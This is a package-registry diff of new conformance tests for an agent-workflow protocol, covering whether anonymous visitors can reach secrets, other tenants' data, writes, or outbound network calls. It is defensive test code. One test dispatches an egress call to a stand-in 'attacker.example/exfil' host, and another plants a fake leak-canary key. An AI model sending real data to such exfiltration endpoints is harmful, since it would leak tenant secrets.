@openwop/openwop-conformance 1.53.1 → 1.57.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (32) hide show
  1. package/CHANGELOG.md +20 -0
  2. package/README.md +2 -2
  3. package/api/openapi.yaml +9 -0
  4. package/coverage.md +3 -0
  5. package/package.json +1 -1
  6. package/schemas/README.md +1 -0
  7. package/schemas/agent-manifest.schema.json +23 -1
  8. package/schemas/capabilities.schema.json +80 -3
  9. package/schemas/connection-pack-manifest.schema.json +5 -0
  10. package/schemas/frontend-plugin-manifest.schema.json +9 -3
  11. package/schemas/residency.schema.json +16 -0
  12. package/schemas/run-snapshot.schema.json +6 -1
  13. package/schemas/workflow-chain-pack-manifest.schema.json +85 -6
  14. package/schemas/workflow-definition.schema.json +4 -3
  15. package/src/lib/anonymousActor.ts +99 -0
  16. package/src/lib/workflow-chain-expansion.ts +342 -0
  17. package/src/scenarios/agent-manifest-role-profile.test.ts +116 -0
  18. package/src/scenarios/anonymous-actor-audit-opaque.test.ts +71 -0
  19. package/src/scenarios/anonymous-actor-default-deny.test.ts +87 -0
  20. package/src/scenarios/anonymous-actor-egress-guarded.test.ts +54 -0
  21. package/src/scenarios/anonymous-actor-no-secret-reach.test.ts +78 -0
  22. package/src/scenarios/anonymous-actor-shape.test.ts +173 -0
  23. package/src/scenarios/anonymous-actor-write-gated.test.ts +83 -0
  24. package/src/scenarios/chain-produced-var-roundtrip.test.ts +152 -0
  25. package/src/scenarios/chain-subchain-cycle-rejected.test.ts +141 -0
  26. package/src/scenarios/chain-subchain-fanout.test.ts +139 -0
  27. package/src/scenarios/chain-subchain-sibling.test.ts +147 -0
  28. package/src/scenarios/chain-subchain-unsupported-refused.test.ts +66 -0
  29. package/src/scenarios/connection-pack-manifest-valid.test.ts +33 -0
  30. package/src/scenarios/data-residency-admission.test.ts +138 -0
  31. package/src/scenarios/edge-condition-truthy-falsy.test.ts +104 -0
  32. package/src/scenarios/frontend-plugin-packs.test.ts +24 -0
@@ -0,0 +1,54 @@
1
+ /**
2
+ * Anonymous-actor SSRF-guarded, credential-safe egress (RFC 0132 §C.3) — backs
3
+ * the `anon-actor-egress-ssrf-guarded` SECURITY invariant (composes RFC 0079
4
+ * `egress-credential-audience-bound`).
5
+ *
6
+ * An anon-initiated egress MUST ride the host's SSRF-guarded, audience-bound
7
+ * egress path (RFC 0076 §B safeFetch + RFC 0079 credential↔destination binding).
8
+ * A host-issued or tenant BYOK credential MUST NOT attach to an anon egress
9
+ * whose destination is not in the credential's provenance `audiences`; the
10
+ * default posture is `downgraded` (anonymous egress, no credential) or `denied`.
11
+ * An anon actor never becomes a confused deputy for a tenant credential.
12
+ *
13
+ * Capability-gated on `capabilities.anonymousActor.supported`; soft-skips when
14
+ * unadvertised or when the reference seam is unwired (404). Hard-fails under
15
+ * `OPENWOP_REQUIRE_BEHAVIOR=true`. Passing non-vacuously graduates
16
+ * `anon-actor-egress-ssrf-guarded` reference-impl → protocol tier.
17
+ *
18
+ * @see RFCS/0132-anonymous-actor-authorization.md §C.3
19
+ * @see RFCS/0079-credential-provenance-and-egress-policy.md
20
+ */
21
+
22
+ import { describe, it, expect } from 'vitest';
23
+ import { behaviorGate } from '../lib/behavior-gate.js';
24
+ import { driver } from '../lib/driver.js';
25
+ import { readAnonymousActorCap, anonDispatch } from '../lib/anonymousActor.js';
26
+
27
+ const PROFILE = 'openwop-anonymous-actor';
28
+
29
+ describe('anonymous-actor-egress-guarded (RFC 0132 §C.3)', () => {
30
+ it('an out-of-audience anon egress is denied/downgraded and attaches no credential', async () => {
31
+ const cap = await readAnonymousActorCap();
32
+ const supportsWriteEgress = (cap?.tiers ?? []).includes('bounded-write-egress');
33
+ // Gate on the write/egress tier specifically — a read-only host has no egress path here.
34
+ if (!behaviorGate(PROFILE, cap?.supported === true && supportsWriteEgress)) return;
35
+ const res = await anonDispatch({
36
+ tool: 'http.fetch',
37
+ destination: 'https://attacker.example/exfil',
38
+ });
39
+ if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
40
+ const egress = res.json?.egressDecided;
41
+ expect(
42
+ egress,
43
+ driver.describe('RFC 0132 §C.3', 'an anon egress MUST ride the RFC 0079 egress-decision path'),
44
+ ).toBeDefined();
45
+ expect(
46
+ ['denied', 'downgraded'],
47
+ driver.describe('RFC 0132 §C.3', 'an out-of-audience anon egress MUST be denied or downgraded — never allowed-with-credential'),
48
+ ).toContain(egress?.decision);
49
+ expect(
50
+ egress?.credentialAttached === true,
51
+ driver.describe('SECURITY anon-actor-egress-ssrf-guarded', 'no tenant/host credential MUST attach out-of-audience'),
52
+ ).toBe(false);
53
+ });
54
+ });
@@ -0,0 +1,78 @@
1
+ /**
2
+ * Anonymous-actor no-secret / no-cross-tenant reach (RFC 0132 §C.2/§C.3) —
3
+ * backs the `anon-actor-no-secret-reach` SECURITY invariant (SR-1 + CTI-1 parity).
4
+ *
5
+ * A `read`-tier tool granted to an anonymous actor MUST be tenant-scoped to the
6
+ * surface's tenant, MUST NOT resolve/return/reach any secret or BYOK credential
7
+ * material, and MUST NOT reach cross-tenant data. A cross-tenant read fails
8
+ * closed (`run_forbidden` / an empty result — never another tenant's data). A
9
+ * planted BYOK canary in the surface tenant's secrets MUST NEVER surface on any
10
+ * observable output of an anon tool call.
11
+ *
12
+ * Capability-gated on `capabilities.anonymousActor.supported`; soft-skips when
13
+ * unadvertised or when the reference seam is unwired (404). Hard-fails under
14
+ * `OPENWOP_REQUIRE_BEHAVIOR=true`. Passing non-vacuously graduates
15
+ * `anon-actor-no-secret-reach` reference-impl → protocol tier.
16
+ *
17
+ * @see RFCS/0132-anonymous-actor-authorization.md §C.2, §C.3
18
+ */
19
+
20
+ import { describe, it, expect } from 'vitest';
21
+ import { behaviorGate } from '../lib/behavior-gate.js';
22
+ import { driver } from '../lib/driver.js';
23
+ import { isAnonymousActorAdvertised, anonDispatch } from '../lib/anonymousActor.js';
24
+
25
+ const PROFILE = 'openwop-anonymous-actor';
26
+
27
+ /** The canary the harness expects to be planted in the surface tenant's secrets;
28
+ * it MUST NOT appear anywhere in an anon tool call's observable output. */
29
+ const BYOK_CANARY = 'sk-openwop-anon-canary-DO-NOT-LEAK';
30
+
31
+ describe('anonymous-actor-no-secret-reach (RFC 0132 §C.2/§C.3)', () => {
32
+ it('a read-tier anon tool call never surfaces a planted BYOK canary', async () => {
33
+ if (!behaviorGate(PROFILE, await isAnonymousActorAdvertised())) return;
34
+ const res = await anonDispatch({ tool: 'catalog.read', args: { probeSecrets: true } });
35
+ if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
36
+ const serialized = JSON.stringify(res.json ?? {});
37
+ expect(
38
+ serialized.includes(BYOK_CANARY),
39
+ driver.describe('SECURITY anon-actor-no-secret-reach', 'an anon tool call MUST NOT surface secret/BYOK material'),
40
+ ).toBe(false);
41
+ });
42
+
43
+ it('a cross-tenant read fails closed — the caller-supplied tenant is never resolved', async () => {
44
+ if (!behaviorGate(PROFILE, await isAnonymousActorAdvertised())) return;
45
+ // A visitor tries to influence the tenant via tool args. Per RFC 0132 §A.2 the
46
+ // caller MUST NOT be able to supply or influence the anon actor's tenant: a
47
+ // conformant host either DENIES the attempt, or NEUTRALIZES it by scoping to
48
+ // the surface's own tenant — it MUST NOT resolve to the caller-supplied tenant
49
+ // and MUST NOT return that tenant's data. Both outcomes are "fail closed"; the
50
+ // one non-conformant behavior is resolving/returning the caller's tenant.
51
+ const CROSS = 'other-tenant';
52
+ const res = await anonDispatch({ tool: 'catalog.read', args: { tenant: CROSS } });
53
+ if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
54
+ const decided = res.json?.authorizationDecided?.payload;
55
+ const deniedByDecision = decided?.allowed === false;
56
+ const deniedByStatus = res.status === 403 || res.status === 404;
57
+ // The resolved tenant (owner triple or the decision's `resource`) MUST NOT be
58
+ // the caller-supplied one — the host ignored the attacker-controlled input.
59
+ const resolvedTenant = res.json?.owner?.tenant ?? decided?.resource?.replace(/^tenant:/, '');
60
+ const neutralizedToSurface =
61
+ typeof resolvedTenant === 'string' && resolvedTenant.length > 0 && resolvedTenant !== CROSS;
62
+ expect(
63
+ deniedByDecision || deniedByStatus || neutralizedToSurface,
64
+ driver.describe(
65
+ 'SECURITY anon-actor-no-secret-reach (CTI-1 / RFC 0132 §A.2)',
66
+ 'a cross-tenant anon read MUST fail closed — denied, or the caller-supplied tenant ignored (never resolved to the caller’s tenant)',
67
+ ),
68
+ ).toBe(true);
69
+ // On the denial path there MUST be no result body; on the neutralized path a
70
+ // result scoped to the SURFACE tenant is fine (it is not cross-tenant data).
71
+ if (deniedByDecision || deniedByStatus) {
72
+ expect(
73
+ res.json?.result,
74
+ driver.describe('SECURITY anon-actor-no-secret-reach (CTI-1)', 'a denied cross-tenant anon read MUST NOT return data'),
75
+ ).toBeUndefined();
76
+ }
77
+ });
78
+ });
@@ -0,0 +1,173 @@
1
+ /**
2
+ * Anonymous-actor authorization — capability + snapshot + audit shapes (RFC 0132).
3
+ *
4
+ * Always-on, server-free schema-shape probe. Verifies that:
5
+ * - `capabilities.anonymousActor` is declared with its `supported` / `tiers` /
6
+ * `writeEgressControls` / `failClosed` sub-flags.
7
+ * - the `anonymousActor` block validates a conforming `read` advert and a
8
+ * conforming `bounded-write-egress` advert, and REJECTS the negatives:
9
+ * `tiers: []` (minItems); `bounded-write-egress` without `writeEgressControls`
10
+ * (the §B.2 conditional-MUST); `writeEgressControls` present without the
11
+ * write tier (§B.2 else); `supported: false` (the block is omitted when
12
+ * unsupported, `const: true`); and an unknown property (additionalProperties).
13
+ * - `run-snapshot.owner` accepts the optional `principalKind: "anonymous"` and
14
+ * rejects an out-of-enum `"guest"`.
15
+ * - the anon audit reuses the existing RFC 0049 `authorization.decided` event:
16
+ * a content-free grant/deny record (opaque `anon:` principal + a machine
17
+ * `reason`) validates, and `authorization.decided` is in the RunEventType enum.
18
+ *
19
+ * Behavioral assertions (default-deny grant, no-secret-reach, SSRF-guarded egress,
20
+ * gated writes, opaque audit) are gated on `capabilities.anonymousActor.supported`
21
+ * and land in the five `anonymous-actor-*.test.ts` scenarios (deferred per RFC 0132
22
+ * §Conformance — reference host soft-skips until openwop-app wires a tool-enabled
23
+ * public surface). This scenario asserts the wire contract, not host behavior.
24
+ *
25
+ * Spec references:
26
+ * - https://github.com/openwop/openwop/blob/main/spec/v1/capabilities.md (§anonymousActor)
27
+ * - https://github.com/openwop/openwop/blob/main/spec/v1/auth.md (§Identity claims — the anonymous principal kind)
28
+ * - https://github.com/openwop/openwop/blob/main/RFCS/0132-anonymous-actor-authorization.md
29
+ */
30
+
31
+ import { describe, it, expect } from 'vitest';
32
+ import { readFileSync } from 'node:fs';
33
+ import { join } from 'node:path';
34
+ import Ajv2020 from 'ajv/dist/2020.js';
35
+ import addFormats from 'ajv-formats';
36
+ import { SCHEMAS_DIR } from '../lib/paths.js';
37
+
38
+ /** Server-free assertion-message helper (mirrors driver.describe without OPENWOP_BASE_URL). */
39
+ const why = (specRef: string, requirement: string): string => `${specRef} — ${requirement}`;
40
+
41
+ function loadSchema(name: string): Record<string, unknown> {
42
+ return JSON.parse(readFileSync(join(SCHEMAS_DIR, name), 'utf8')) as Record<string, unknown>;
43
+ }
44
+
45
+ describe('anonymous-actor-shape: capability advertisement (RFC 0132 §B, server-free)', () => {
46
+ const caps = loadSchema('capabilities.schema.json');
47
+ const anon = (caps.properties as Record<string, { properties?: Record<string, unknown> }>)
48
+ .anonymousActor;
49
+
50
+ it('the capabilities schema declares anonymousActor with its sub-flags', () => {
51
+ expect(
52
+ anon,
53
+ why('capabilities.md §anonymousActor', 'capabilities.anonymousActor MUST be declared'),
54
+ ).toBeDefined();
55
+ for (const flag of ['supported', 'tiers', 'writeEgressControls', 'failClosed']) {
56
+ expect(
57
+ anon?.properties?.[flag],
58
+ why('capabilities.md §anonymousActor', `anonymousActor.${flag} MUST be declared`),
59
+ ).toBeDefined();
60
+ }
61
+ });
62
+
63
+ it('validates conforming read + bounded-write-egress adverts and rejects the negatives', () => {
64
+ const ajv = new Ajv2020({ strict: false, allErrors: true });
65
+ addFormats(ajv);
66
+ const validate = ajv.compile(anon as Record<string, unknown>);
67
+
68
+ // Positive — read-only tier.
69
+ expect(
70
+ validate({ supported: true, tiers: ['read'], failClosed: true }),
71
+ why('RFC 0132 §B', 'a conforming read-tier advert MUST validate'),
72
+ ).toBe(true);
73
+ // Positive — bounded-write-egress tier with a mandatory control.
74
+ expect(
75
+ validate({
76
+ supported: true,
77
+ tiers: ['read', 'bounded-write-egress'],
78
+ writeEgressControls: ['hitl'],
79
+ failClosed: true,
80
+ }),
81
+ why('RFC 0132 §B', 'a bounded-write-egress advert with a control MUST validate'),
82
+ ).toBe(true);
83
+
84
+ // Negative — empty tiers (minItems: 1).
85
+ expect(
86
+ validate({ supported: true, tiers: [] }),
87
+ why('RFC 0132 §B', 'tiers: [] MUST be rejected (minItems)'),
88
+ ).toBe(false);
89
+ // Negative — write tier without a control (the §B.2 conditional-MUST).
90
+ expect(
91
+ validate({ supported: true, tiers: ['bounded-write-egress'] }),
92
+ why('RFC 0132 §B.2', 'bounded-write-egress without writeEgressControls MUST be rejected'),
93
+ ).toBe(false);
94
+ // Negative — controls advertised without the write tier (§B.2 else branch).
95
+ expect(
96
+ validate({ supported: true, tiers: ['read'], writeEgressControls: ['hitl'] }),
97
+ why('RFC 0132 §B.2', 'writeEgressControls without the write tier MUST be rejected'),
98
+ ).toBe(false);
99
+ // Negative — supported: false (the block is omitted when unsupported, const: true).
100
+ expect(
101
+ validate({ supported: false, tiers: ['read'] }),
102
+ why('RFC 0132 §B', 'supported: false MUST be rejected (const: true — omit the block instead)'),
103
+ ).toBe(false);
104
+ // Negative — unknown property (additionalProperties: false).
105
+ expect(
106
+ validate({ supported: true, tiers: ['read'], surface: 'wgt_abc' }),
107
+ why('RFC 0132 §B', 'an unknown property MUST be rejected (additionalProperties: false)'),
108
+ ).toBe(false);
109
+ });
110
+ });
111
+
112
+ describe('anonymous-actor-shape: owner.principalKind (RFC 0132 §A, server-free)', () => {
113
+ it('run-snapshot owner accepts principalKind "anonymous" and rejects "guest"', () => {
114
+ const snap = loadSchema('run-snapshot.schema.json');
115
+ const owner = (snap.properties as Record<string, unknown>).owner as Record<string, unknown>;
116
+ const ajv = new Ajv2020({ strict: false, allErrors: true });
117
+ addFormats(ajv);
118
+ const validate = ajv.compile(owner);
119
+ expect(
120
+ validate({ tenant: 'acme', principal: 'anon:sess-3f9c', principalKind: 'anonymous' }),
121
+ why('RFC 0132 §A', 'owner.principalKind "anonymous" MUST validate'),
122
+ ).toBe(true);
123
+ // Absent principalKind is today's RFC 0048 behavior — still valid.
124
+ expect(
125
+ validate({ tenant: 'acme', principal: 'u_42' }),
126
+ why('RFC 0048', 'owner without principalKind MUST still validate'),
127
+ ).toBe(true);
128
+ expect(
129
+ validate({ tenant: 'acme', principalKind: 'guest' }),
130
+ why('RFC 0132 §A', 'owner.principalKind "guest" MUST be rejected (enum)'),
131
+ ).toBe(false);
132
+ });
133
+ });
134
+
135
+ describe('anonymous-actor-shape: audit reuses authorization.decided (RFC 0132 §D, server-free)', () => {
136
+ const payloads = loadSchema('run-event-payloads.schema.json');
137
+ const ajv = new Ajv2020({ strict: false, allErrors: true });
138
+ addFormats(ajv);
139
+ ajv.addSchema(payloads, 'payloads');
140
+ const decided = ajv.getSchema('payloads#/$defs/authorizationDecided');
141
+
142
+ it('a content-free anon grant + deny record validates against the existing $def', () => {
143
+ expect(decided, 'the authorizationDecided $def MUST exist (no new event minted)').toBeTruthy();
144
+ // Grant — the §G positive example.
145
+ expect(
146
+ decided!({
147
+ principal: 'anon:sess-3f9c',
148
+ action: 'tool:catalog.read',
149
+ resource: 'tenant:acme',
150
+ allowed: true,
151
+ reason: 'anon-granted',
152
+ }),
153
+ why('RFC 0132 §D', 'a conforming anon grant record MUST validate'),
154
+ ).toBe(true);
155
+ // Deny — a not-granted tool.
156
+ expect(
157
+ decided!({
158
+ principal: 'anon:sess-3f9c',
159
+ action: 'tool:crm.write',
160
+ resource: 'tenant:acme',
161
+ allowed: false,
162
+ reason: 'anon-not-granted',
163
+ }),
164
+ why('RFC 0132 §D', 'a conforming anon deny record MUST validate'),
165
+ ).toBe(true);
166
+ });
167
+
168
+ it('authorization.decided is in the RunEventType enum (the reused audit event)', () => {
169
+ const runEvent = loadSchema('run-event.schema.json');
170
+ const enumVals = (runEvent.$defs as Record<string, { enum?: string[] }>).RunEventType?.enum ?? [];
171
+ expect(enumVals).toContain('authorization.decided');
172
+ });
173
+ });
@@ -0,0 +1,83 @@
1
+ /**
2
+ * Anonymous-actor bounded-write/egress is gated (RFC 0132 §C.3) — backs the
3
+ * `anon-actor-write-egress-gated` SECURITY invariant.
4
+ *
5
+ * A `bounded-write-egress` tool — one that mutates durable state or performs
6
+ * outbound egress — is permitted for an anonymous actor ONLY behind a mandatory
7
+ * control: a per-action HITL/approval gate (RFC 0051 — the action suspends
8
+ * pending a human decision) OR a hard rate-limit AND a per-session action cap.
9
+ * An anon write/egress with no resolvable control MUST be denied. With a `hitl`
10
+ * control, the action MUST suspend on an approval interrupt BEFORE any durable
11
+ * write.
12
+ *
13
+ * Capability-gated on `capabilities.anonymousActor.supported` + the
14
+ * `bounded-write-egress` tier; soft-skips when unadvertised or when the seam is
15
+ * unwired (404). Hard-fails under `OPENWOP_REQUIRE_BEHAVIOR=true`. Passing
16
+ * non-vacuously graduates `anon-actor-write-egress-gated` reference-impl →
17
+ * protocol tier.
18
+ *
19
+ * @see RFCS/0132-anonymous-actor-authorization.md §C.3
20
+ * @see RFCS/0051-approval-deployment-gate-primitive.md
21
+ */
22
+
23
+ import { describe, it, expect } from 'vitest';
24
+ import { behaviorGate } from '../lib/behavior-gate.js';
25
+ import { driver } from '../lib/driver.js';
26
+ import { readAnonymousActorCap, anonDispatch } from '../lib/anonymousActor.js';
27
+
28
+ const PROFILE = 'openwop-anonymous-actor';
29
+
30
+ describe('anonymous-actor-write-gated (RFC 0132 §C.3)', () => {
31
+ it('an anon bounded-write tool is gated — denied when ungated, or suspends on an approval interrupt', async () => {
32
+ const cap = await readAnonymousActorCap();
33
+ const supportsWrite = (cap?.tiers ?? []).includes('bounded-write-egress');
34
+ if (!behaviorGate(PROFILE, cap?.supported === true && supportsWrite)) return;
35
+
36
+ const res = await anonDispatch({ tool: 'lead.capture', args: { email: 'visitor@example.com' } });
37
+ if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
38
+
39
+ const controls = cap?.writeEgressControls ?? [];
40
+ const decided = res.json?.authorizationDecided?.payload;
41
+ const suspended = res.json?.interrupt?.kind !== undefined;
42
+
43
+ if (controls.includes('hitl')) {
44
+ // With a HITL control the write MUST suspend on an approval interrupt before durable write.
45
+ expect(
46
+ suspended,
47
+ driver.describe('RFC 0132 §C.3 (hitl)', 'an anon bounded-write MUST suspend on an approval interrupt before the write'),
48
+ ).toBe(true);
49
+ expect(
50
+ res.json?.result,
51
+ driver.describe('RFC 0132 §C.3 (hitl)', 'no durable write result before the approval resolves'),
52
+ ).toBeUndefined();
53
+ } else {
54
+ // With only a rate-limit/session-cap control, the seam surfaces a gate; an
55
+ // ungated write MUST be denied (never a silent durable write).
56
+ const gatedOrDenied = suspended || decided?.allowed === false || res.status === 429;
57
+ expect(
58
+ gatedOrDenied,
59
+ driver.describe('SECURITY anon-actor-write-egress-gated', 'an anon bounded-write MUST be gated — an ungated write MUST be denied'),
60
+ ).toBe(true);
61
+ }
62
+ });
63
+
64
+ it('an anon write with no resolvable control is denied with a machine reason', async () => {
65
+ const cap = await readAnonymousActorCap();
66
+ const supportsWrite = (cap?.tiers ?? []).includes('bounded-write-egress');
67
+ if (!behaviorGate(PROFILE, cap?.supported === true && supportsWrite)) return;
68
+ // Probe a surface deliberately configured with a write grant but no control.
69
+ const res = await anonDispatch({ tool: 'lead.capture', surface: 'sample-uncontrolled-surface' });
70
+ if (res.status === 404 || res.status === 405) return; // seam unwired / surface absent — soft-skip
71
+ const decided = res.json?.authorizationDecided?.payload;
72
+ expect(
73
+ decided?.allowed === false || res.status === 403 || res.status === 429,
74
+ driver.describe('SECURITY anon-actor-write-egress-gated', 'an anon write with no resolvable control MUST be denied'),
75
+ ).toBe(true);
76
+ if (decided && decided.allowed === false) {
77
+ expect(
78
+ decided.reason,
79
+ driver.describe('RFC 0132 §C.3', 'an ungated anon write denial carries a machine reason'),
80
+ ).toBe('anon-write-ungated');
81
+ }
82
+ });
83
+ });
@@ -0,0 +1,152 @@
1
+ /**
2
+ * Produced (run-scoped) variables — round-trip + closed-world (RFC 0133 §2).
3
+ *
4
+ * Server-free scenario. Exercises `emitProducedVariables` + `validateVariableReads`
5
+ * in the reference library against a chain that declares `producedVariables` a
6
+ * downstream node reads via a `{ type:"variable", variableName }` input binding.
7
+ * Asserts the normative contract from `workflow-chain-packs.md`
8
+ * §"Produced (run-scoped) variables (RFC 0133)":
9
+ *
10
+ * - §2.3: declared `producedVariables` are emitted into the expanded
11
+ * `WorkflowDefinition.variables[]` as run-scoped entries (name + type,
12
+ * NO author-time value — distinct from `parameters`).
13
+ * - §2.2: a `{ type:"variable" }` read of a DECLARED name validates.
14
+ * - §2.2: a `{ type:"variable" }` read of an UNDECLARED name fails closed with
15
+ * `variable_undeclared` (the closed-world guard — "reads a value nothing
16
+ * produces").
17
+ * - a read of a MATERIALIZED PARAMETER name (RFC 0124 deferred mode) validates
18
+ * even without a `producedVariables` entry (params + produced vars compose).
19
+ *
20
+ * @see spec/v1/workflow-chain-packs.md §"Produced (run-scoped) variables (RFC 0133)"
21
+ * @see conformance/src/lib/workflow-chain-expansion.ts (emitProducedVariables, validateVariableReads)
22
+ * @see RFCS/0133-workflow-chain-composition.md
23
+ */
24
+
25
+ import { describe, it, expect } from 'vitest';
26
+ import {
27
+ emitProducedVariables,
28
+ validateVariableReads,
29
+ VariableUndeclaredError,
30
+ ProducedVarProducerUnknownError,
31
+ type WorkflowChain,
32
+ } from '../lib/workflow-chain-expansion.js';
33
+
34
+ const why = (specRef: string, requirement: string): string => `${specRef} — ${requirement}`;
35
+ const SPEC = 'workflow-chain-packs.md §"Produced (run-scoped) variables (RFC 0133)"';
36
+
37
+ /** `generate` writes `plan`; `decompose` reads it via a variable binding. */
38
+ const PLAN_GEN: WorkflowChain = {
39
+ chainId: 'kicktodo.plan-generation',
40
+ version: '1.0.0',
41
+ label: 'Plan generation',
42
+ description: 'generate writes plan; decompose reads it.',
43
+ parameters: {},
44
+ producedVariables: [
45
+ { name: 'plan', producedBy: 'generate', type: 'object', description: 'the generated plan' },
46
+ ],
47
+ dag: {
48
+ nodes: [
49
+ { id: 'generate', typeId: 'core.ai.callPrompt', config: { systemPrompt: 'Generate a plan.' } },
50
+ { id: 'decompose', typeId: 'core.ai.callPrompt', inputs: { plan: { type: 'variable', variableName: 'plan' } } },
51
+ ],
52
+ edges: [{ from: 'generate', to: 'decompose' }],
53
+ },
54
+ };
55
+
56
+ describe('chain-produced-var-roundtrip: run-scoped variables (RFC 0133 §2, server-free)', () => {
57
+ it('emits declared producedVariables into variables[] (name + type, NO value)', () => {
58
+ const vars = emitProducedVariables(PLAN_GEN);
59
+ expect(vars, why(SPEC, '§2.3 — one run-scoped variable emitted')).toEqual([{ name: 'plan', type: 'object' }]);
60
+ // Run-scoped: NO author-time value rides the emitted entry.
61
+ expect('value' in (vars[0] as object), why(SPEC, '§2.3 — no author-time value (distinct from parameters)')).toBe(
62
+ false,
63
+ );
64
+ expect(
65
+ 'defaultValue' in (vars[0] as object),
66
+ why(SPEC, '§2.3 — no default value (a produced var is written during the run)'),
67
+ ).toBe(false);
68
+ });
69
+
70
+ it('validates a variable read of a DECLARED producedVariables name', () => {
71
+ expect(() => validateVariableReads(PLAN_GEN), why(SPEC, '§2.2 — declared read is closed-world valid')).not.toThrow();
72
+ });
73
+
74
+ it('rejects a variable read of an UNDECLARED name (variable_undeclared)', () => {
75
+ const undeclared: WorkflowChain = {
76
+ ...PLAN_GEN,
77
+ producedVariables: [], // nothing declared
78
+ dag: {
79
+ nodes: [
80
+ { id: 'generate', typeId: 'core.ai.callPrompt', config: {} },
81
+ {
82
+ id: 'decompose',
83
+ typeId: 'core.ai.callPrompt',
84
+ inputs: { plan: { type: 'variable', variableName: 'plan' } },
85
+ },
86
+ ],
87
+ },
88
+ };
89
+ expect(() => validateVariableReads(undeclared), why(SPEC, '§2.2 — undeclared read MUST reject')).toThrow(
90
+ VariableUndeclaredError,
91
+ );
92
+ try {
93
+ validateVariableReads(undeclared);
94
+ } catch (e) {
95
+ expect((e as VariableUndeclaredError).code, why(SPEC, 'wire code variable_undeclared')).toBe('variable_undeclared');
96
+ expect((e as VariableUndeclaredError).variableName, why(SPEC, 'names the offending variable')).toBe('plan');
97
+ }
98
+ });
99
+
100
+ it('rejects a producedVariables whose producedBy names a NON-EXISTENT node (produced_var_producer_unknown)', () => {
101
+ const badProducer: WorkflowChain = {
102
+ ...PLAN_GEN,
103
+ producedVariables: [{ name: 'plan', producedBy: 'ghost', type: 'object' }],
104
+ };
105
+ expect(
106
+ () => validateVariableReads(badProducer),
107
+ why(SPEC, '§2.2 — producedBy MUST be a real fragment node'),
108
+ ).toThrow(ProducedVarProducerUnknownError);
109
+ try {
110
+ validateVariableReads(badProducer);
111
+ } catch (e) {
112
+ expect((e as ProducedVarProducerUnknownError).code, why(SPEC, 'distinct wire code')).toBe(
113
+ 'produced_var_producer_unknown',
114
+ );
115
+ }
116
+ });
117
+
118
+ it('rejects a producedVariables name that COLLIDES with a parameter (channels MUST be disjoint)', () => {
119
+ const collide: WorkflowChain = {
120
+ ...PLAN_GEN,
121
+ parameters: { type: 'object', properties: { plan: { type: 'object' } } },
122
+ producedVariables: [{ name: 'plan', producedBy: 'generate', type: 'object' }],
123
+ };
124
+ expect(
125
+ () => validateVariableReads(collide),
126
+ why(SPEC, '§2.2 — a produced var colliding with a parameter name MUST reject'),
127
+ ).toThrow(VariableUndeclaredError);
128
+ });
129
+
130
+ it('validates a read of a MATERIALIZED PARAMETER name (params + produced vars compose)', () => {
131
+ // A read whose name is NOT a produced var but IS a materialized parameter
132
+ // (RFC 0124 deferred mode) is closed-world valid.
133
+ const paramRead: WorkflowChain = {
134
+ ...PLAN_GEN,
135
+ producedVariables: [],
136
+ dag: {
137
+ nodes: [
138
+ { id: 'n', typeId: 'core.ai.callPrompt', inputs: { seed: { type: 'variable', variableName: 'seed' } } },
139
+ ],
140
+ },
141
+ };
142
+ expect(
143
+ () => validateVariableReads(paramRead, new Set(['seed'])),
144
+ why(SPEC, '§2.2 — a materialized-parameter read validates'),
145
+ ).not.toThrow();
146
+ // …but still rejects when the name is neither a produced var nor a param.
147
+ expect(
148
+ () => validateVariableReads(paramRead, new Set()),
149
+ why(SPEC, '§2.2 — same read with no matching param still rejects'),
150
+ ).toThrow(VariableUndeclaredError);
151
+ });
152
+ });